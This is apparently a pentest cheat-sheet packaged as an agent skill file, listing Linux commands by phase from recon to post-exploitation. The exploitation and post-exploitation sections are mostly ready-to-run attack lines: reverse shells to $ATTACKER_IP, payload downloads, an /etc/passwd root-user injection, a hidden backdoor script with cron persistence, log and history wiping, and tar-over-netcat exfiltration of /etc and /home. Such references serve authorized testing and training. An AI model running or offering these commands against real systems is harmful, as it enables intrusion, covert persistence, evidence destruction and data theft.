linux-pentester-notes

# Linux Pentester Notes Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. ## Overview **Linux-for-a-Pentester** is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This repository serves as a quick reference guide for security professionals conducting assessments, CTF challenges, or security research on Linux systems. The repository is structured around the standard penetration testing methodology: - General Commands (survival essentials) - Reconnaissance (information gathering) - Enumeration (deep service analysis) - Exploitation (gaining initial access) - Privilege Escalation (elevating permissions) - Post-Exploitation (persistence and lateral movement) ## Installation This is a reference repository, not an installable tool. Clone it locally for quick access during engagements: ```bash # Clone the repository git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git cd Linux-for-a-Pentester # Optional: Create an alias for quick access echo "alias pentester='cd ~/Linux-for-a-Pentester && ls -la'" >> ~/.bashrc source ~/.bashrc ``` ## Repository Structure The repository is organized into directories by testing phase: ``` Linux-for-a-Pentester/ ├── 00-General-Commands/ # Basic Linux survival commands ├── 01-Recon/ # Reconnaissance techniques ├── 02-Enumeration/ # Service and user enumeration ├── 03-Exploitation/ # Initial access techniques ├── 04-Privilege-Escalation/ # Privilege escalation methods ├── 05-Post-Exploitation/ # Persistence and cleanup └── Cheatsheets/ # Quick reference one-liners ``` ## Key Command Categories ### General Commands (00-General-Commands/) Essential Linux commands for navigating and understanding target systems: ```bash # System information uname -a # Kernel version and architecture cat /etc/os-release # Distribution information hostname # Current hostname uptime # System uptime and load # File operations find / -name "*.conf" 2>/dev/null # Find configuration files grep -r "password" /home 2>/dev/null # Recursive search locate suid # Locate files quickly which python python3 # Find binary locations # Process management ps aux # All running processes ps -ef --forest # Process tree view top # Real-time process monitor netstat -tulpn # Listening ports (legacy) ss -tulpn # Listening ports (modern) ``` ### Reconnaissance (01-Recon/) Local and network reconnaissance commands: ```bash # Network information ip a # IP addresses and interfaces ip route # Routing table arp -a # ARP cache cat /etc/resolv.conf # DNS configuration # User enumeration whoami # Current user id # User ID and groups w # Logged in users last # Login history cat /etc/passwd # User accounts cat /etc/group # Group information # File system reconnaissance df -h # Disk usage mount # Mounted filesystems cat /etc/fstab # Filesystem table lsblk # Block devices # Network scanning (if tools available) ping -c 3 $TARGET_IP nmap -sn 192.168.1.0/24 # Host discovery nmap -p- $TARGET_IP # Full port scan ``` ### Enumeration (02-Enumeration/) Deep service and configuration analysis: ```bash # Service enumeration systemctl list-units --type=service # Active services ps aux | grep root # Root processes crontab -l # User cron jobs cat /etc/crontab # System cron jobs ls -la /etc/cron.* # Cron directories # SUID/SGID files (privilege escalation vectors) find / -perm -4000 -type f 2>/dev/null # SUID files find / -perm -2000 -type f 2>/dev/null # SGID files find / -perm -u=s -type f 2>/dev/null # Alternative SUID search # Writable files and directories find / -writable -type d 2>/dev/null # Writable directories find / -writable -type f 2>/dev/null # Writable files find /etc -writable 2>/dev/null # Writable config files # Capabilities (often overlooked) getcap -r / 2>/dev/null # Files with capabilities # Environment and configuration env # Environment variables cat /etc/environment # System-wide environment history # Command history cat ~/.bash_history # User command history ``` ### Exploitation (03-Exploitation/) Techniques for gaining initial access: ```bash # Reverse shells bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 nc -e /bin/bash $ATTACKER_IP 4444 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # Shell stabilization python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Then Ctrl+Z, then: stty raw -echo; fg # Press Enter twice # File upload techniques # Using wget wget http://$ATTACKER_IP:8000/payload.sh -O /tmp/payload.sh # Using curl curl http://$ATTACKER_IP:8000/payload.sh -o /tmp/payload.sh # Using nc (if available) nc $ATTACKER_IP 9999 > /tmp/payload.sh # On attacker: nc -lvnp 9999 < payload.sh # Using base64 (for text files/scripts) echo "base64_encoded_payload" | base64 -d > /tmp/payload.sh ``` ### Privilege Escalation (04-Privilege-Escalation/) Methods to elevate privileges to root: ```bash # Automated enumeration scripts # LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh -t # Sudo abuse sudo -l # Check sudo permissions # If (ALL) NOPASSWD: /usr/bin/find sudo find /etc -exec /bin/bash \; # If (ALL) NOPASSWD: /usr/bin/vim sudo vim -c ':!/bin/bash' # Kernel exploits (use with caution) uname -r # Check kernel version searchsploit linux kernel 4.15 # Find exploits # Writable /etc/passwd # If /etc/passwd is writable openssl passwd -1 -salt salt password123 echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd su newroot # Cron job abuse # If cron job runs as root and editable echo 'bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1' >> /path/to/cronjob.sh # Path hijacking # If sudo command has relative path echo '/bin/bash' > /tmp/vulnerable_binary chmod +x /tmp/vulnerable_binary export PATH=/tmp:$PATH sudo vulnerable_command # Capabilities abuse # If python has cap_setuid python -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ### Post-Exploitation (05-Post-Exploitation/) Maintaining access and covering tracks: ```bash # User creation (persistence) useradd -m -s /bin/bash backdoor echo 'backdoor:password123' | chpasswd usermod -aG sudo backdoor # Add to sudo group # SSH key persistence mkdir -p /root/.ssh echo "$ATTACKER_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # Backdoor scripts cat > /usr/local/bin/.backdoor.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/$ATTACKER_IP/6666 0>&1 EOF chmod +x /usr/local/bin/.backdoor.sh # Cron persistence echo "*/5 * * * * /usr/local/bin/.backdoor.sh" | crontab - # Log cleanup echo "" > /var/log/auth.log echo "" > /var/log/syslog echo "" > ~/.bash_history history -c unset HISTFILE # Data exfiltration tar czf - /etc /home | nc $ATTACKER_IP 7777 # On attacker: nc -lvnp 7777 > exfil.tar.gz ``` ## Common Patterns ### Pattern 1: Initial Shell to Stable TTY ```bash # 1. Get initial shell (reverse shell) bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 # 2. Upgrade to TTY python3 -c 'import pty; pty.spawn("/bin/bash")' # 3. Background with Ctrl+Z, then: stty raw -echo; fg # 4. Set terminal type export TERM=xterm-256color # 5. Adjust rows/columns (optional) stty rows 38 columns 116 ``` ### Pattern 2: Full System Enumeration ```bash # System info uname -a cat /etc/os-release hostname # Users and groups cat /etc/passwd cat /etc/group id sudo -l # Network ip a ip route ss -tulpn cat /etc/hosts # Services and processes ps aux systemctl list-units --type=service cat /etc/crontab crontab -l # SUID binaries find / -perm -4000 2>/dev/null # Writable directories find / -writable -type d 2>/dev/null | grep -v proc # Capabilities getcap -r / 2>/dev/null ``` ### Pattern 3: Quick Privesc Check ```bash # Check sudo rights sudo -l # Find SUID binaries (GTFOBins) find / -perm -4000 -type f 2>/dev/null # Check writable files in sensitive locations find /etc /root /home -writable 2>/dev/null # Check capabilities getcap -r / 2>/dev/null # Check kernel version for exploits uname -r # Check for passwords in files grep -r -i "password" /home /var/www /opt 2>/dev/null ``` ## Troubleshooting ### Issue: Commands Not Found Some systems have minimal installations. Check for alternatives: ```bash # If netstat not available, use ss ss -tulpn # If ifconfig not available, use ip ip a # If wget not available, use curl curl -O http://example.com/file # If python not available, try python3 which python python3 python2 ``` ### Issue: Permission Denied Errors Redirect stderr to /dev/null to clean up output: ```bash find / -name "config" 2>/dev/null grep -r "password" / 2>/dev/null ``` ### Issue: Shell Not Stabilizing Try alternative methods: ```bash # Method 1: Python python -c 'import pty; pty.spawn("/bin/bash")' # Method 2: Script script /dev/null -c bash # Method 3: Expect expect -c 'spawn /bin/bash; interact' # Method 4: Perl perl -e 'exec "/bin/bash";' ``` ### Issue: No Internet Access on Target Transfer files using base64 encoding: ```bash # On attacker: base64 -w0 tool.sh > tool.b64 # Copy output, then on target: echo "BASE64_STRING" | base64 -d > tool.sh chmod +x tool.sh ``` ## Integration with Testing Workflows ### Use During Active Engagement ```bash # Quick reference during testing cd ~/Linux-for-a-Pentester grep -r "SUID" . cat 04-Privilege-Escalation/suid-exploitation.md ``` ### Reference for Report Writing The repository structure mirrors standard penetration testing phases, making it easy to reference during report writing and ensuring comprehensive coverage of testing activities. ### CTF and Lab Practice Use these commands as a checklist when practicing in: - HackTheBox machines - TryHackMe rooms - OSCP lab machines - VulnHub VMs ## Best Practices 1. **Always get permission** before testing on systems you don't own 2. **Document everything** during engagements 3. **Test in isolated environments** first 4. **Use automation wisely** but understand what commands do 5. **Clean up after testing** (remove backdoors, restore configs) 6. **Stay updated** with new techniques and CVEs ## Additional Resources - **GTFOBins**: https://gtfobins.github.io/ (SUID/Sudo abuse) - **HackTricks**: https://book.hacktricks.xyz/ (Comprehensive pentesting guide) - **PayloadsAllTheThings**: https://github.com/swisskyrepo/PayloadsAllTheThings - **PEASS-ng**: https://github.com/carlospolop/PEASS-ng (LinPEAS enumeration) ## Notes for AI Agents When helping users with Linux penetration testing: 1. **Always emphasize legal and ethical boundaries** 2. **Recommend testing only on authorized systems** 3. **Explain command flags and options** for learning 4. **Suggest multiple approaches** when one may fail 5. **Remind users to document findings** for reporting 6. **Warn about destructive commands** (rm, dd, etc.) 7. **Encourage understanding over memorization** This repository is a reference guide, not a step-by-step tutorial. Each engagement is unique and requires critical thinking and adaptation.